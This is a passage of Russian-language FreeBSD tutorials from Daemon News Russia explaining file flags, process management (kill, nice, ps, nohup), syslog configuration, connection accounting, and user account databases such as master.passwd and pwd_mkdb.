что количество групп, в которые может входить юзер, ограничено, поэтому не стоит без особой надобность "плодить" дополнительные списки. Но, во всяком случае, возможность поступить таким образом есть. Флаги. Кроме уже рассмотренных атрибутов (владелец, группа, "права доступа"), существует еще один атрибут, который ограничивает возможные действия с файлом - "набор флагов". Кстати, по умолчанию команда ls флаги не показывает (и большинство "файлменеджеров" тоже). Для того, чтобы она их показала, надо указать ключ -lo. С помощью флагов можно запретить изменять содержимое файла, его название или и то и другое. Флаги являются более "сильнодействующим средством" чем permissions. Они действуют одинаково для всех юзеров, не разделяя их на категории. Более того, их действие не может игнорировать и владелец файла и даже root. Единственное отличие владельца и root'а от прочих пользователей в том, что они могут убрать флаги с файла (и то не всегда) и только потом уже делать то, что им хочется. Рассмотрим их подробнее. Флаги делятся на две группы "юзерские" флаги и "суперюзерские". Разница в том, что "юзерские" может поставить и убрать как root, так и владелец файла, а ставить/убирать "суперюзерские" может только root. На самом деле, "снятие" флагов - вопрос более сложный. Он зависит от того, в каком "режиме
http://www.freebsd.bip.ru/typeoffiles.shtml (9 of 10)10.04.2004 17:23:52
Daemon News Russia
безопасности" находится система. Но об этом немного позднее. По своему назначению флаги делятся на append - разрешается только "дописывать" файл (естественно, файл должен также иметь permssion "w"). Без этого флага, если юзеру из соответствующей категории разрешается писать в файл, он может как добавить что-либо к содержимому файла, так и "убавить", то есть стереть часть содержимого. При установленном флаге append, любой юзер (даже root) сможет только добавить что-нибудь в конец файла, но не сможет ничего изменить в уже имеющемся содержимом. Если этот флаг поставить на директорию, то в ней можно создавать файлы (или копировать туда файлы из других директорий), но нельзя удалять или менять их названия. Естественно, на сами файлы действие флага не распространяется. nounlink - файл (или директорию) нельзя удалить или переименовать, даже если права, установленные на директории (в которой находится файл) это позволяют. В то же время, этот флаг не запрещает менять содержимое файла (если, конечно, permissions это позволяют). immutable или change - "ничего нельзя". То есть, файл (директорию) нельзя ни удалить, ни переименовать, ни изменить содержимое. Опять же, если это флаг стоит на директории, то на файлы (в ней содержащиеся) его действие не распространяется. То есть, вы не сможете ни добавить, ни убрать файл в директории, но менять содержимое самих файлов это флаг не запретит. Как уже говорилось, эти три флага существуют в двух вариантах - "юзерские" и "суперюзерские". То есть, на самом деле их шесть три "юзерских" - uappend, uunlink и uimmutable и три "суперюзерских" - sappend, sunlink и simmutable. Вообще-то, существует еще два "непарных" флага. Это флаги archived (архивный файл) - это файл "суперюзерский", то есть его может поставить только root, а аналогичного "юзерского" не существует; nodump (файл не надо "дампировать") - а это "юзерский" флаг, его может поставить не только root, но и владелец файла. Эти флаги проверяются только некоторыми конкретными программами. Например, флаг nodump сообщает программе dump, что этот файл не надо сохранять в архиве. (Подробнее о программе dump вы можете прочитать в соответствующем man - man dump).
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/typeoffiles.shtml (10 of 10)10.04.2004 17:23:52
Daemon News Russia
новости
Управление процессами
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
Понятие процесса Компоненты процесса Состояние процесса, "заблудшие" процессы Сигналы, посылка сигналов, команда kill Приоритет выполнения процесса, команда nice Текущий контроль процессов, команды ps и top Защита фоновых процессов, команда nohup Понятие процесса Процесс - фундаментальное понятие системы семейства UNIX. С помощью процессов происходит управление ресурсами компьютера, которые используются для выполнения программы. Вам может показаться, что в UNIX все выполняется одновременно, однако на самом деле в единицу времени выполняется только один процесс. Иллюзию параллельного выполнения создает метод "квантования времени", с помощью которого система через определенные промежутки времени (10-20 милисекунд) меняет текущий выполняемый процесс. Системный администратор может контролировать состояние процесса, управлять выделением времени центрального процессора каждому процессу, приостанавливать и принудительно завершать выполнение процесса. Компоненты процесса Каждый процесс состоит из адресного пространства и набора структур данных, содержащихся в ядре системы. К наиболее важным данным в структурах, относятся: таблица распределения памяти процесса текущий статус процесса приоритет выполнения процесса информация о ресурсах системы, используемых процессом владелец процесса Идентификатор процесса Каждому новому процессу присваивается уникальный номер PID. Фактическое значение PID большой роли не играет, оно назначается ядром просто по порядку, начиная с 0 и до 65535. Когда номера заканчиваются, ядро вновь начинает с 0, пропуская еще существующие в системе PID. Идентификатор родительского процесса Новый процесс в UNIX создается путем клонирования одного из существующих процессов, после чего текст (т.е. набор инструкций для процессора) нового процесса заменяется текстом http://www.freebsd.bip.ru/proc.shtml (1 of 5)10.04.2004 17:23:53
Daemon News Russia
программы, которую процесс должен выполнить. В UNIX исходный процесс называют родительским, а его клон - порожденным или дочерним. Помимо собственного идентификатора PID каждый процесс имеет атрибут своего родительского процесса - PPID. Идентификатор пользователя и группы Каждый процесс имеет UID - идентификационный номер пользователя, создавшего данный процесс. Вносить изменения в процесс может только его создатель и привилегированный пользователь (root). У процесса также есть EUID - это так называемый "эффективный" UID. Он используется для того, чтобы определить, к каким ресурсам у процесса есть права доступа. Как правило, EUID и UID совпадают. Различаются они для программ, у которых установлен бит смены идентификатора пользователя (так называемые suid – программы). Аналогично, GID - идентификационный номер группы пользователя, создавшего данный процесс, EGID - "эффективный" GID. Когда процесс запускается, его GID равен GID родительского процесса. Если процесс попытается обратиться к файлу, на который у владельца нет прав доступа, ядро проверит, можно ли разрешить обращение на основании EGID. Состояние процесса, "заблудшие" процессы Сам факт существования процесса не дает ему права на получение времени центрального процессора. Процесс может находиться в различных состояниях: Выполнимый - процесс можно выполнять Ожидающий - процесс ждет выделения какого-либо ресурса Свопированный - процесс находится в swap-разделе на диске Остановленный - процесс приостановлен Выполнимый процесс получил все необходимые ресурсы и ждет только выделения времени центрального процессора для обработки данных. Ожидающий процесс ждет наступления определенного события. Например командный интерпретатор ждет команд пользователя с клавиатуры и проводит в состоянии ожидания большую часть своего времени. Свопированный процесс не существует в оперативной памяти. Он записан в swap-раздел на диске и ждет "своего часа". Время от времени в системе появляются процессы, которые так или иначе требуют вмешательства администратора. Такие процессы получили название "заблудшие". Основные разновидности таких процессов - зависшие и неуправляемые процессы. Зависшие процессы ничего не делают, не отвечают своему управляющему терминалу, а просто "висят", занимая ресурсы системы. Неуправляемые процессы бывают двух типов пользовательские и системные. Неуправляемый пользовательский процесс не обязательно работает неправильно. Просто он может "кушать" много системных ресурсов, и из-за него будут простаивать другие, может быть не менее полезные процессы. Ну а неуправляемый системный процесс может (внезапно впав в буйство) просто "крушить" все http://www.freebsd.bip.ru/proc.shtml (2 of 5)10.04.2004 17:23:54
Daemon News Russia
на своем пути. Сигналы, посылка сигналов, команда kill Для управления процессами в системе предусмотрена команда kill. Формат этой команды kill <-сигнал> pid, где <-сигнал> - номер или символьное имя посылаемого процессу сигнала. Команду kill чаще всего используют для прекращения выполнения процесса. Наиболее часто используемые сигналы: 9 (KILL) - гарантированное уничтожение процесса 15 (TERM) - программное завершение процесса 1 (HUP) - сигнал отбоя. Многие системные процессы при получении этого сигнала перечитывают свои конфигурационные файлы. Вообще рекомендуется давать сигнал HUP перед посылкой сигнала KILL. Иногда, правда редко, процессы впадают в такие состояния, что их нельзя "убить" даже выдав команду kill -9 pid. В этом случае самый эффективный способ "убить" процесс - команда reboot. Приоритет выполнения процесса, команда nice От приоритета процесса зависит, какую часть времени центрального процессора он получит. Выбирая процесс для выполнения, ядро находит процесс с самым высоким "внутренним приоритетом". Непосредственно изменить значение внутреннего приоритета невозможно, но можно повлиять на него, изменяя так называемое nice-значение. Для этой цели используется команда nice. Формат этой команды: nice <относительный приоритет от процесса-родителя> <команда>. Относительный приоритет в системе FreeBSD находится в пределах от - 20 до +20. Важно запомнить: Чем ниже значение nice - тем выше приоритет процесса. Пример: # nice - 10 /usr/local/mygame Если пользователь не предпримет особых мер, то новый процесс унаследует приоритет своего родителя. Пользователь может увеличить значение nice (т.е. понизить приоритет), но не сможет уменьшить его, даже для возврата процесса к приоритету, полученному при "рождении". Привилегированный пользователь может менять приоритеты процессов как угодно, вплоть до того, что все процессы не смогут работать из-за одного единственного. В системе FreeBSD существует команда renice, с помощью которой можно изменить приоритет уже запущенному процессу. Ее формат: renice <приоритет> [-p pid] [-g <группа>] [-u <пользователь>] Пример:
http://www.freebsd.bip.ru/proc.shtml (3 of 5)10.04.2004 17:23:54
Daemon News Russia
# renice +1 -p 989 -u daemon root -p 32 В примере понижается на 1 приоритет процессов с номерами PID 989 и 32, а так же у всег процессов, владельцами которых являются daemon и root. Текущий контроль процессов, команды ps и top Для текущего контроля состояния процессов в системе используется команда ps. Если она введена без опций, то покажет только собственные процессы пользователя и процессы обмена с терминалом. Команда имеет опции: -a - выдает информацию о всех пользовательских процессах -е - показывает значения переменных окружения -h - при выводе на PAGER (more или less) выводит заголовок листинга -m - сортирует вывод по используемой памяти -r - сортирует вывод по использованию времени центрального процессора -x - вывод команды не ассоциирован с терминалами (т.е. показываются также например и процессы-демоны) Наберите команду # ps - ax Посмотрим на листинг (здесь показана для краткости только одна строчка помимо заголовка и только часть полей): USER PID STAT START TIME COMMAND bob 1167 R+ 5:57PM 0:00.04 ps -ax USER - имя владельца процесса PID - идентификатор процесса STAT - текущий статус процесса R = выполнимый, T = остановленный I = ожидающий, S = ожидающий (> 20 сек) Z = зомби Дополнительные флаги: W = процесс свопирован + = процесс в приоритетном режиме своего терминала START - время запуска процесса TIME - время центрального процессора, потребленное процессом http://www.freebsd.bip.ru/proc.shtml (4 of 5)10.04.2004 17:23:54
Daemon News Russia
COMMAND - имя и аргументы команды Для самостоятельного изучения вам дается команда top. Вывод этой команды аналогичен выводу команды ps. Замечу только использование команды top - довольно дорогое удовольствие, т.к. она сама "пожирает" довольно много ресурсов системы. Не стоит ею злоупотреблять. Защита фоновых процессов, команда nohup Для того, чтобы запустить процесс в фоновом режиме, нужно просто набрать & после имени команды, например: # cat /var/log/messages | grep fetchmail > fetchmail.log & Но если, к примеру, вы используете в качестве shell интерпретатор sh, и сразу же после этой команды выйдете из системы командой exit (или Ctrl+D), интерпретатор пошлет сигнал отбой (HUP) этому процессу (как впрочем, и всем, им порожденным). Для то, чтобы этого не произошло, нужно запустить эту команду с помощью команды nohup. # nohup cat /var/log/messages | grep fetchmail > fetchmail.log & В этом случае, сигнал отбоя от sh будет проигнорирован. Правда у команды nohup есть побочные эффекты: она увеличивает значение nice на +5 если стандартный файл вывода не переназначен, то весь вывод пойдет в файл nohup.out (в нашем случае этого не произойдет) то же самое относится и к стандартному файлу ошибок Замечание: Если вы пользуетесь csh или другими современными интерпретаторами, то вы вполне можете обходиться без команды nohup. Вопрос: Как прервать процесс по имени? Ответ: Используйте команду killall.
http://www.freebsd.bip.ru/proc.shtml (5 of 5)10.04.2004 17:23:54
(c) 2001-2002 Daemon News Russia
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Регистрация в системе и учет системных ресурсов новости
Регистрация системных соsобщений, система syslog Конфигурационный файл демона syslogd Учет продолжительности соединений Регистрация системных сообщений, система syslog Система syslog в операционных системах семейства UNIX представляет собой полную систему регистрации и управления информацией, которую генерируют ядро системы и системные утилиты. Система syslog очень гибкая. С ее помощью можно сортировать сообщения по их источникам, степени важности, а так же направлять в файлы или на терминалы. Система syslog состоит из трех частей: 1. демон syslogd и его конфигурационный файл /etc/syslog.conf 2. библиотечные программы openlog, syslog, closelog, которые используются программистами для обмена данными с syslogd (в данном курсе они не рассматриваются) 3. программа пользовательского уровня logger для записи сообщений Демон syslogd запускается во время начальной загрузки и работает непрерывно. Если вы изменили конфигурационный файл /etc/syslog.conf, нужно перезапустить syslogd, послав ему сигнал HUP (или 1). Сделать это можно, узнав по команде ps –ax pid процесса syslogd, введя затем команду kill. # ps -ax | grep syslogd # kill -1
Можно поступить проще. В файле /var/run/syslog.pid записан pid процесса syslogd. Поэтому можно дать команду: # kill -1 `cat /var/run/syslog.pid` (здесь используются обратные кавычки). Демон syslogd по этой команде закроет все файлы регистрации, перечитает файл /etc/syslog. conf и запустит регистрацию снова.
Конфигурационный файл демона syslogd Действиями демона syslogd управляет файл конфигурации /etc/syslog.conf. Это простой текстовый файл, в котором пустые строки и строки со знаком # в первой позиции игнорируются. Формат файла следующий: http://www.freebsd.bip.ru/accs.shtml (1 of 5)10.04.2004 17:23:55
Daemon News Russia
<селектор> <действие>. Например, mail.err /var/log/mail.errors Эта строка обеспечит запись всех ошибок, связанных с доставкой почты в файл /var/log/mail. errors. Важно: В качестве разделителя между селектором и действием используйте только клавишу . Использование пробелов будет ошибкой, которую не так-то легко обнаружить. Как вы уже заметили, селектор записывается в составном виде. В общем виде это выглядит, как средство.уровень К тому же в поле <селектор> может содержаться один или несколько селекторов, разделенных точкой с запятой. Селектор может содержать группу средств, разделенных запятыми. Селектор может содержать символы * и none, которые означают соответственно «все» и «ничего». Примеры селекторов: средство.уровень действие средство1,средство2.уровень действие средство1.уровень1;средство2.уровень2 действие *.уровень действие *.уровень;средство.none действие Ниже в таблицах перечислены основные имена средств и уровней серьезности системы syslog. Средство Программы, использующие его kern Ядро системы user Пользовательские процессы mail Система электронной почты daemon Системные демоны auth Системы защиты и полномочий lpr Система печати news Система телеконференций cron Демон cron local0-7 Восемь уровней локального сообщения syslog Внутренние сообщения системы syslog ftp Демон ftpd
http://www.freebsd.bip.ru/accs.shtml (2 of 5)10.04.2004 17:23:55
Daemon News Russia
* Все вышеперечисленные средства Уровень Значение уровня emerg Экстренные ситуации alert Срочные ситуации crit Критические состояния err Состояния ошибок warning Предупреждения notice Необычные состояния info Информационные сообщения debug Отладочная информация Уровни перечислены в порядке убывания. Это значит, что уровни обозначают минимальную важность, которую должно иметь сообщение, чтобы быть зарегистрированным в системе syslog. Например, сообщению системы электронной почты с уровнем warning будут соответствовать записи mail.warning, mail.notice, mail.info, mail.debug, *.warning, *.notice, *.info, *.debug. Поле <действие> указывает, что нужно делать с поступившим сообщением. Действие Описание имя_файла Записать сообщение в файл на локальной машине @имя_машины Переслать сообщение демону syslogd на указанную машину @IP_адрес То же, только указан IP-адрем машины пользователь1, Вывести сообщение на экраны указанных пользователей ... пользовательN * Вывести сообщение на экраны всех пользователей Пример: *.emerg /dev/console *.err;auth.notice /dev/console *.err;auth,mail,user.info /var/log/messages mail.err /var/log/mail.log mail.info @192.168.0.1 Говоря о системе syslog, нужно упомянуть о команде logger, которая позволяет вносить записи http://www.freebsd.bip.ru/accs.shtml (3 of 5)10.04.2004 17:23:55
Daemon News Russia
в системный журнал из shell-сценариев. Эту команду удобно использовать для проверки изменений, внесенных в файл /etc/syslog.conf. Например, если вы добавили в файл /etc/syslog.conf строку local5.warning /var/log/local.log и хотите проверить, работает ли она, то введите команду # logger -p local5.warning "Local test" Посмотрите файл /var/log/local.log. Если строчки "Local test" в нем нет, значит вы скорее всего забыли послать демону syslogd сигнал HUP. Учет продолжительности соединений Для учета количества времени, которое пользователи проводят в системе, используется команда ac. Эта команда обобщает информацию, которая записывается в файл /var/log/wtmp всякий раз, когда пользователь регистрируется в системе. В файл /var/log/wtmp записывается информация об имени пользователя, номере порта (терминала), времени входа в систему и выхода из нее. Команда ac дает разбивку по пользователям (опция -p) и/или по датам (опция -d), показывает время, проведенное в системе, в часах. # ac - p login connect-hrs bob 23.78 mark 14.24 andre 0.65 root 7.89 ... total 675.47 Можно после опции -p задать имена пользователей. # ac - p bob root login connect-hrs bob 23.78 root 7.89 total 31.67
http://www.freebsd.bip.ru/accs.shtml (4 of 5)10.04.2004 17:23:55
Daemon News Russia
Результат выполнения команды ac -d # ac -d date connect-hrs May 1 total 63.81 May 2 total 78.36 May 3 total 523.14 May 4 total 759.78 May 5 total 635.24 Видно, что 1 и 2 Мая - выходные J. Опции можно объединить. # ac -dp bob date connect-hrs May 2 total 2.67 May 4 total 6.72 May 5 total 4.29 С помощью команды last можно определить время входа пользователя в систему и выхода из нее. Информация выводится либо по конкретному пользователю, или же по порту (терминалу). Формат команды: last bob (информация по пользователю bob) last ttyv1 (информация по терминалу ttyv1). Вывод этой команды очень понятен, не буду приводить его здесь, оставлю вам для самостоятельного ознакомления.
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/accs.shtml (5 of 5)10.04.2004 17:23:55
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Пользовательские бюджеты и группы (часть 1) новости
Пользователь, пользовательский бюджет Какие данные хранятся в бюджете пользователя? Для чего используется бюджет пользователя? Где хранятся бюджеты? Как добавить пользователя в систему? Как поменять данные в бюджете? Пользователь (user), пользовательский бюджет (user account) Все системы семейства Unix, соответственно и FreeBSD - системы многопользовательские. Для нормальной и стабильной работы системы нужно: Во-первых, разграничить права различных пользователей системы (пользователя часто называют - "юзер", от английского слова user) - какие файлы они могут читать/писать/изменять, какие программы запускать и т.п. Во-вторых, дать возможность каждому юзеру создавать свою "среду обитания" (environment окружение) - иметь свои настройки для любимых программ, свои директории, настройки терминала и т.п. Для этого в системе должна быть база данных, в которой хранятся основные сведения о каждом юзере, имеющем допуск к работе на данной машине. (Естественно, все вышесказанное относится к любой многопользовательской системе, но в данном случае речь о Unix). В Unix такая запись в соответствующей БД, содержащая сведения о юзере называется user account. Для того, чтобы допустить нового пользователя в систему, необходимо создать для него этот account. Словосочетание "user account" в контексте Unix обычно переводится "пользовательский бюджет" или "личная учетная карточка пользователя". Какие данные хранятся в бюджете пользователя? Прежде чем перечислить - какие поля есть в бюджете пользователя, хотелось бы обратить внимание вот на что. Каждому юзеру присваивается уникальный номер (user ID), именно этот цифровой номер и используется внутри операционной системы при проверке прав доступа, сборе и хранении статистики и т.д. Однако оперировать все время номерами юзеров не удобно. Поэтому, каждому юзеру кроме номера присваивается еще уникальное имя (login name). http://www.freebsd.bip.ru/users.shtml (1 of 9)10.04.2004 17:23:58
Daemon News Russia
Если в какой-нибудь системной команде требуется в качестве аргумента указать юзера, обычно используется это "login name". И, наоборот, если какая-либо программа в своем выводе какнибудь упоминает конкретных юзеров, она обычно называете их этим именем, а не просто печатает номер юзера. То есть, между user ID и login name должно быть всегда однозначное соответствие. Просто user ID используется во внутренних данных системы, а login name (или просто login) - при общении человек-компьютер. Итак. В учетной карточке юзера хранится Name Password user ID group ID General information Home dir Shell кроме того есть еще поля, которые часто не используются (кстати, они располагаются между group ID и General Information) Class Password change time Account expiration time Назначение этих полей. Name Это уникальное имя юзера (login name). Его спрашивают при входе в компьютер. Оно используется в командах администрирования. Password Пароль. Для того чтобы никто другой, кроме этого юзера не мог войти в систему, у каждого юзера должен быть его собственный секретный пароль для входа. Вообще-то, пароль может и отсутствовать, но это не рекомендуется (надеюсь понятно почему?). Особенно, если машина доступна по сети. Пароли хранятся в базе данных в зашифрованном виде, поэтому, даже администратор не может его узнать. (Собственно администратору он и не нужен, у него и так права не ограничены. А вот если юзер забудет свой пароль, то проще попросить администратор записать новый пароль, чем пытаться извлечь старый). user ID Уникальный номер юзера. Он однозначно соответствует имени (Name) и используется внутри системы. group ID http://www.freebsd.bip.ru/users.shtml (2 of 9)10.04.2004 17:23:58
Daemon News Russia
Номер группы, к которой принадлежит юзер. Подробнее о группах см. далее. General information Это просто некоторые анкетные данные того реального человека, который скрывается под Name. Это поле можно и не заполнять. Обычно там пишут просто реальное имя/фамилию юзера (например, John Doe). Однако, полностью это поле может состоять из: Full Name - Имя Фамилия, Location - адрес (имеется в виду рабочее место), Office Phone - рабочий телефон, Home Phone - домашний телефон Home dir Домашний каталог юзера. Именно в этом каталоге помещаются настроечные файлы для различных программ с настройками под конкретного юзера. Здесь же юзеру дается полная свобода создавать/удалять свои файлы. Shell Программа, которая запускается для юзера, когда он входит в систему. Обычно это "исполнитель команд", или по другому shell (оболочка) (аналог command.com в системе DOS), который принимает команды с терминала и, в свою очередь, запускает программы, необходимые юзеру. В современных Unix'ах обычно есть несколько таких shell (sh, csh, tcsh, bash ...) из которых можно выбрать наиболее подходящий «по вкусу». Но, вместо shell здесь может быть указана любая другая программа, что нередко используется для решения некоторых задач. Class Это поле пока ничего не означает. По замыслу, юзер может принадлежать к некоему loginклассу. При этом, когда он будет входить в систему, могут быть сделаны какие-нибудь установки (например заданы переменные среды), общие для всех юзеров этого класса. Естественно, должна быть еще некая база данных, в которой указанно - что делать для юзера из конкретного класса (или не делать). Но, сейчас (по крайней мере до версии 3.1) это поле никакими программами не используется. Password change time Здесь администратор может указать дату, когда юзеру следует поменять пароль. Дело в том, что, если требуется повышенная секретность, одной из мер предосторожности является то, что пароли должны периодически меняться (раз в неделю, месяц и т.п.). Для того, чтобы заставить юзера следовать этому правилу, администратор задает дату, после наступления которой компьютер будет предлагать юзеру при входе систему поменять свой пароль. Account expiration time А здесь администратор задает дату, после которой доступ юзеру в систему будет запрещен. То есть, account юзера сохраняется (и все его файлы тоже), но войти в систему он не сможет (пока не договорится с администратором :-). Подробнее обо всем этом можно прочитать на соответствующей man-странице. man 5 passwd. Для чего используется бюджет пользователя?
http://www.freebsd.bip.ru/users.shtml (3 of 9)10.04.2004 17:23:58
Daemon News Russia
А вот это - очень не простой вопрос. Конечно, основное назначение бюджета - зарегистрировать юзера, чтобы он мог войти в систему и поработать на этой машине. Однако, существует некоторые нестандартные применения для этого механизма. Обычные юзеры Псевдо-юзеры Почтовые юзеры Гостевой вход Автоматический запуск коммуникационных программ Обычные юзеры Когда обычный юзер заходит в систему (с физического терминала или по сети), он должен сказать свое имя (Login Name) и пароль (Password). Соответствующая программа сверяет эти данные с теми, что записаны в бюджете пользователя и, если они совпадают, разрешает вход в систему. То есть запускается программа, которая указана как Shell в бюджете пользователя. Юзер с помощью этой программы может запускать другие. При этом ему можно создавать/ удалять/писать/читать файлы, которые находятся в его Home dir (тоже указана в бюджете). Псевдо-юзеры Часто бывает полезно ограничить некоторым программам (которые запускаются автоматически ftp-сервер, www-сервер и т.п.) доступ к файлам и директориям. Например, вы создаете на своей машине WWW-сервер. Естественно, его назначение - выдавать в сеть какие-то документы (файлы *.html), специально предназначенные для публичного обозрения. В то же время, не хотелось бы, чтобы он (из-за возможных ошибок или злонамеренных "закладок" в программе) мог выдавать наружу другие файлы, находящиеся в системе. В Unix предусмотренно, что права на чтение каждого файла можно связать с определенным пользователем. Юзер может читать файлы, для которых он является "хозяином" или "владельцем" (на самом деле разграничение прав несколько более сложное, но в данном объяснении это не важно). Все остальные файлы можно сделать для него недоступными. Таким образом, для решения задачи нужно -зарегистрировать фиктивного пользователя - например, www; -все файлы, к которым должна иметь доступ программа WWW-сервера, объявить "собственностью" юзера www (естественно, что ваши секретные файлы должны быть недоступны этому самому www); -объяснить системе, что когда запускается программа WWW-сервера, все должно выглядеть так, как будто его запустил реальный юзер www. Все остальное сделается автоматически средствами Unix. Разумеется, при таком подходе никакого реального человека, который скрывается под именем www, может не быть. Следовательно, в бюджете такого фиктивного юзера не нужен реальный пароль (вместо пароля ставится какая-нибудь абракадабра, так, чтобы никто не мог даже подобрать его. Лучше поставить знак "*", поскольку в настоящих шифрованных паролях такой знак никогда не встречается), никакой General information, не нужна также Home dir (хотя, иногда имеет смысл
http://www.freebsd.bip.ru/users.shtml (4 of 9)10.04.2004 17:23:58
Daemon News Russia
объявить его домашней директорией ту, где лежат его данные) и Shell. Особым случаем псевдо-юзера является юзер ftp. Дело в том, что у ftp-сервера могут быть две задачи. Первая - дать возможность реальным пользователям этой машины перекачивать свои файлы из этого компьютера (или, наоборот, "закачивать") по сети. Вторая - предоставить некую "свалку" файлов всем желающим (то, что обычно называют "анонимный ftp"). В первом случае каждый реальный юзер говорит серверу свое имя и пароль и получает доступ к файлам такой же, как если бы он вошел в систему. Во втором случае, если вы не зарегистрированы в качестве юзера на этой машине, вы можете сказать, что вы - юзер anonymous или юзер ftp. В этом случае, программа ftp-сервер проверяет - зарегистрирован ли в БД учетных карточек псевдо-юзер ftp (именно ftp, а не anonymous) и, если такой юзер зарегистрирован, то пускает вас в домашнюю директорию (Home dir) этого юзера, там и должна лежать "свалка" файлов для всех желающих. Таким образом, в учетной карточке псевдо-юзера ftp существенным являются в основном поля Name и Home dir. Остальные, обычно, значения не имеют. Таких псевдо-юзеров в любой системе существует несколько. Почтовые юзеры. Если в качестве сервера электронной почты используется Unix-машина, то самым простым способом обеспечить прием почты и поддержание "почтового ящика" для конкретного человека это зарегистрировать его как обычного юзера этой машины. (Точнее, это единственный стандартный способ.) Кроме того, для того, чтобы никто посторонний не мог получить доступ к "почтовому ящику", при соединении с "почтовым сервером" используется процедура аналогичная входу в систему обычного юзера - то есть POP-клиент должен предъявить серверу имя и секретный пароль юзера. Причем, обычно, программа POP-сервер ищет эти имя и пароль в той же базе. Если человек, который пользуется этой Unix-машиной как "почтовым сервером", может больше никакого отношения к ней не иметь. То есть, ему нет необходимости заходить на эту машину как ее пользователю, запускать программы, хранить файлы. Более того, возможно, администратору и не хотелось бы, чтобы такой юзер имел доступ к чему-либо, кроме своего "почтового ящика". Следовательно, в бюджете такого юзера не ставится домашняя директория, или ставится какаянибудь общая для всех таких юзеров директория. А, самое главное, не должно быть реальной программы Shell. Вместо нее лучше всего подставить какую-нибудь программу, которая просто напечатает сообщение типа: "Вам сюда нельзя" и завершит работу. В качестве такой программы можно использовать /bin/date - она напечатает текущую дату и завершится. Кстати, если поле Shell просто оставить пустым, то система все равно впустит юзера и даст ему "исполнителя команд" /bin/sh. "Гостевой вход" Поскольку, вместо Shell (программы, которая автоматически запускается для вошедшего юзера) можно использовать любую программу, можно сделать небольшую информационную систему для публичного просмотра. Для этого регистрируется пользователь, например, guest (гость). В качестве Shell у этого юзера должна быть программа, которая позволяет просмотреть документы, предназначенные для публики (какая-нибудь BBS, www-browser или другая, специально для этого написанная программа). Естественно, надо принять меры предосторожности, чтобы эта программа не могла прочитать другие файлы из вашего компьютера и не могла записать ничего лишнего на диск. Особенностью такого юзера является то, что у него должен быть необычный Shell, домашней директории может и не быть (это зависит от той информационной программы), и, главное, может http://www.freebsd.bip.ru/users.shtml (5 of 9)10.04.2004 17:23:58
Daemon News Russia
не быть пароля (все равно, если он есть, придется сообщить его всем желающим). Автоматический запуск коммуникационных программ Если к компьютеру подключен модем, он может оказывать различные услуги через телефонные линии (BBS, прием/передачу e-mail, IP-доступ и т.п.). Если один и тот же телефонный вход используется для различных услуг, то возникает проблема - как обеспечить запуск различных коммуникационных программ для разных клиентов. Одно из решений заключается в следующем. Для каждой возможной услуги регистрируется пользователь, у которого в качестве Shell указывается соответствующая коммуникационная программа. Например, можно зарегистрировать пользователей: UUCPuser - для которого запускается программа uucico (из пакета uucp), PPPuser - для которого запускается драйвер, для связи по протоколу PPP, SLIPuser - для которого запускается драйвер, для связи по протоколу SLIP. Теперь, если клиент, позвонивший на модем, введет в качестве Login name PPPuser (например), то для него на этом конце модемной линии включится драйвер PPP и он получит IP доступ по этому протоколу. Кроме того, любой Unix, всегда запоминает время, когда юзер вошел в систему и когда закончил работу. Поэтому, если каждому клиенту дать отдельное имя (и, естественно, секретный пароль), то можно легко вести статистику - сколько времени каждый клиент занимал ваш телефон. Особенностью бюджета такого юзера, как и в предыдущем случае, является нестандартный Shell. Может отсутствовать Home dir (это зависит от коммуникационной программы, некоторые из них пытаются извлечь некоторые настроечные данные из домашней директории юзера). Где хранятся бюджеты? В системе FreeBSD существует четыре файла, которые имеют отношение к БД учетных карточек. Все они находятся в директории /etc. В общем-то, все они содержат одну и ту же информацию, и при всех добавлениях (изменениях) в учетных карточках юзеров изменяются одновременно. /etc/spwd.db - основная БД, именно отсюда соответствующие программы берут нужные им данные. Данные хранятся в двоичном виде, то есть простым редактором там ничего не сделаешь. /etc/master.passwd - та же БД, но в текстовом виде. Этот файл можно читать и изменять обычным текстовым редактором. Но, если вы будете его менять, потом нужно будет запустить соответствующую утилиту, которая сделает изменения и в остальных трех файлах. /etc/pwd.db - то же, что и spwd.db, но без паролей (в поле password просто стоит знак *) /etc/passwd - то же, что и master.passwd, но без паролей. Для чего нужны два последних файла? Дело в том, что, хотя пароли хранятся в зашифрованном виде, показывать их всем, все равно, не рекомендуется. Злоумышленник, зная, как выглядит зашифрованный пароль, может, если и не расшифровать его, то подобрать подходящий. С другой стороны, информация из этой базы нужна не только администратору, но и некоторым программам, которыми пользуются рядовые юзеры. http://www.freebsd.bip.ru/users.shtml (6 of 9)10.04.2004 17:23:58
Daemon News Russia
Поэтому, было принято решение - два первых файла, содержащие полную информацию учетных карточек доступны (даже для чтения) только администратору системы (юзер root). А для всех остальных доступны для чтения "урезанные" варианты той же базы - два последних файла. Как добавить пользователя в систему? Ответ на этот вопрос не такой простой, как может показаться. Все зависит от того, какого пользователя вы хотите зарегистрировать. Заметьте, что, для того, чтобы пустить в свою систему реального юзера, надо не только добавить новую учетную карточку для него. Еще надо создать ему домашнюю директорию и, желательно, положить туда некоторые стартовые файлы (типа config.sys и autoexec.bat в системе DOS). При этом надо правильно установить права нового юзера на эти файлы. Для того, чтобы не делать эту работу вручную, существует специальная утилита (см. ниже). Но, если вам нужно зарегистрировать псевдо-юзера или «почтового юзера», она не очень подходит. В этом случае лучше воспользоваться более примитивными средствами. Итак. Программы для регистрации (и не только) нового пользователя. pwd_mkdb vipw adduser pw useradd Еще что-нибудь pwd_mkdb Собственно, эта утилита только преобразует файл master.passwd в три остальных файла (см. "Где хранятся бюджеты"). Вы можете любым текстовым редактором добавить строчку в master.passwd, взяв за образец любую из тех строчек, которые там уже есть (желательно, перед этим внимательно прочитать man 5 passwd). Если, после этого запустить команду pwd_mkdb -p /etc/master.passwd то она сделает соответствующие изменения в spwd.db, pwd.db, passwd. Не забудьте, что пароль в учетной карточке хранится в зашифрованном виде. Поэтому, при составлении записи, это поле учетной карточки лучше оставить пустым, а потом занести пароль утилитой, которая специально для этого предназначена: passwd <имя юзера> Конечно, это самый сложный способ, но... Если вы когда-нибудь возьметесь написать свою программу для регистрации, то она должна будет просто сформировать правильную строчку для файла master.passwd, занести ее в этот файл, а потом просто вызвать pwd_mkdb. Кстати, остальные программы, о которых дальше идет речь, именно так и 